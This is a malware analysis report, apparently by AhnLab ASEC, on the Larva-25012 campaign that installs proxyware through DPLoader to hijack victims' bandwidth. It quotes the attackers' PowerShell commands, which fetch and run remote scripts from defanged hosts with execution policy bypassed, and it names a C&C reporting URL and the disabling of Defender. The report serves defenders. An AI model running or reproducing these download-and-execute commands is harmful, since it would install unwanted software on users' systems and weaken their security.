Larva-25012: A 2026 Proxyware Distribution Campaign by the Threat Actor (DigitalPulse, SOAX, Appsalt, IPRoyal)
The AhnLab SEcurity intelligence Center (ASEC) has been monitoring proxyjacking attacks and confirmed that, in the second half of 2026, the Larva-25012 threat actor has resumed actively distributing Proxyware. Rather than conducting malware distribution through new methods, the threat actor appears to have targeted already infected systems to distribute Proxyware.
1. Proxyjacking Attacks
A proxyjacking attack is an attack method by which threat actors generate revenue by installing Proxyware without the user’s consent and sharing a portion of the infected system’s internet bandwidth with external parties. Proxyware is a program that shares a portion of the currently available internet bandwidth from the infected system with external parties; generally, users who install it receive a fixed amount of money in exchange for providing that bandwidth. If a threat actor secretly installs Proxyware on an infected system without the user’s consent, the infected system is involuntarily deprived of its network bandwidth, and the profits go to the threat actor. This is similar to a cryptojacking attack, with the key difference being that instead of Proxyware, CoinMiner is installed to mine cryptocurrency using the infected system’s resources.
2. Past Attack Cases
The Larva-25012 threat actor distributed Proxyware to numerous systems from at least 2025 through early 2026. The threat actor primarily distributed it through pop-up ads on various free YouTube download sites [1] [2] [3] Additionally, they utilized GitHub by disguising the Proxyware as a Steam client cleanup tool. [4] In early 2026, instances of Proxyware being distributed on pages to download illegal software, such as cracks, were also confirmed.
Threat actors have recently resumed actively distributing Proxyware, which appears to leverage already-installed instances of DPLoader. DPLoader exists in both JavaScript and Python versions, with the JavaScript version being used in most attacks. The initial malware distribution installed Node.Js through a Python command and registered it in the Task Scheduler to ensure that the obfuscated JavaScript—i.E., DPLoader—ran continuously. DPLoader collects basic system information and periodically transmits it to the C&C server; it can also perform PowerShell command execution based on the C&C server’s response. All PowerShell commands downloaded were of the type that install Proxyware.
The Proxyware distributed by the threat actors included DigitalPulse, Honeygain, and Infatica; DigitalPulse also employed techniques such as obfuscation or injection into the Explorer process to bypass detection. In addition, to exploit Proxyware provided in the form of an SDK, threat actors sometimes install it alongside loader malware to deliver their own API.
3. Recent Attack Cases
3.1. DigitalPulse
The threat actor appears to have exploited an already-installed DPLoader, and DigitalPulse Proxyware was installed via the JavaScript version of DPLoader.
Figure 1. Proxyware Installed via DPLoader
The commands identified in this attack case are as follows: the PowerShell script downloaded via these commands installs Proxyware.
> Cmd.Exe /d /s /c “PowerShell.Exe -ExecutionPolicy Bypass -Command \”$scriptUrl = ‘hxxp://pub-43fc211373d547278dd3d5bd0b4d9dac.R2[.]Dev/87648736456384.Ps1’; $tempScriptPath = [System.IO.Path]::Combine($env:TEMP, ‘tmp.Ps1’); …
> PowerShell.Exe -ExecutionPolicy Bypass -Command “iwr -UseBasicParsing -Uri hxxp://pub-43fc211373d547278dd3d5bd0b4d9dac.R2[.]Dev/87648736456384.Ps1 | iex”
The PowerShell script registers the downloaded Proxyware as a task named “PlutonAgentScheduler” and also performs command execution to disable Microsoft Defender.
Figure 2. PowerShell downloader
The Proxyware, which is ultimately installed as “PlutonAgent.Exe,” is DigitalPulse Proxyware, consistent with previous cases.
- DigitalPulse Proxyware installation path: %SystemRoot%\pluton\<RANDOM>\plutonagent.Exe
3.2. SOAX
SOAX Proxyware is also installed via a PowerShell script similar to DigitalPulse.
> PowerShell.Exe -ExecutionPolicy Bypass -Command “iwr -UseBasicParsing -Uri hxxp://dhrciu5akloar.Cloudfront[.]Net/63563545600333.Ps1 | iex”
The PowerShell script registers itself as a task named “EnterpriseMgmtServicesScheduler” and reports execution results or error logs to the following address.
- C&C server address: hxxp://7jb7qi6vnr5pa22a4br4irz3tu0yqzbd.Lambda-url.Us-east-1.On[.]Aws/e
-
Figure 3. Routine for reporting to the C&C server
Proxyware is distributed alongside a loader and an SOAX SDK DLL file. The loader loads the SDK DLL located on the same Path as the loader and passes the threat actor’s token as an argument when calling `liblivenet_init()`.
Figure 4. SOAX Proxyware loader
- SOAX loader installation path – 1: %ProgramFiles%\deephour\deephour.Exe
- SOAX loader installation path – 2: %ProgramFiles%\microsoft\copilot\services\copilotservice.Exe
- SOAX Proxyware Installation Path – 1: %ProgramFiles%\deephour\libkldemtk_amd64.Dll
- SOAX Proxyware Installation Path – 2: %ProgramFiles%\microsoft\copilot\services\liblivenet_amd64.Dll
3.3. Appsalt
In another case, Appsalt Proxyware was also detected. The PowerShell script that installs Appsalt functions virtually identically to the SOAX Proxyware case, and the Task Scheduler name is “SecurityHealthServiceSyncUpdate.”
> PowerShell.Exe -ExecutionPolicy Bypass -Command “iwr -UseBasicParsing -Uri hxxp://d6nue5fz4t6y8.Cloudfront[.]Net/9083743654554665.Ps1 | iex”
Appsalt Proxyware is also installed alongside an SDK DLL and a loader that executes it; the loader calls the appsalt_init() function as shown below, passing the threat actor’s token as an argument.
Figure 5. Appsalt Proxyware loader
- Appsalt loader installation path: %ProgramFiles%\microsoft\servicing\securityhealthservicesyncupdate.Exe
- Appsalt Proxyware installation path: %ProgramFiles%\microsoft\servicing\appsalt.Dll
3.4. IPRoyal
As of the latest observations, threat actors are installing IPRoyal Proxyware. Its functionality is identical to that of the previous version, except that the Task Scheduler task is named “BackgroundTaskRegistrationMaintenanceTaskScheduler.”
> PowerShell.Exe -ExecutionPolicy Bypass -Command “iwr -UseBasicParsing -Uri hxxp://dci6j1p0q6khn.Cloudfront[.]Net/784365567456345.Ps1 | iex”
Figure 6. IPRoyal Loader
- IPRoyal loader installation path: %ProgramFiles%\Microsoft\TaskRegistrationMaintenanceTask\TaskRegistrationMaintenance.Exe
- IPRoyal Proxyware installation path: %ProgramFiles%\Microsoft\TaskRegistrationMaintenanceTask\pawns-sdk.DLL
4. Conclusion
The Larva-25012 threat actor distributed Proxyware by disguising it as YouTube video download pages, open-source tools, and illegal software crack download pages. It is believed that the threat actor has recently been actively distributing Proxyware again by leveraging the DPLoader already installed on infected systems. Proxyware malware is similar to CoinMiner in that it generates revenue by utilizing system resources, and recently, numerous systems in Korea have become Attack Targets for these attacks.
Users should exercise caution when installing executable files from suspicious websites—such as those containing ads or pop-ups—or from file-sharing sites, rather than from official websites. Additionally, for infected systems, users should install a V3 product to prevent further Malware infections.
[V3 Detection Name]
- Downloader/PowerShell.Proxyware.SC316575 (2026.09.12.00)
- Downloader/PowerShell.Proxyware.SC316650 (September 19, 2026, 00:00)
- Trojan/Win.Loader.C5946067 (September 18, 2026, 00:00)
- Trojan/Win.Loader.C5946330 (September 18, 2026, 03:00)
- Trojan/Win.Loader.C5948027 (September 22, 2026, 02:00)
- Unwanted/Win.Proxyware.C5946331 (September 12, 2026, 00:00)
- Unwanted/Win.Proxyware.C5943232 (September 12, 2026, 00:00)
- Unwanted/Win.Proxyware.C5943233 (September 12, 2026.00)
- Unwanted/Win.Proxyware.C5946068 (September 18, 2026, 00:00)
- Unwanted/Win.Proxyware.C5946328 (September 18, 2026, 03)
- Unwanted/Win.Proxyware.C5948028 (September 22, 2026, 02)
Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP. For subscription details, click the banner below.
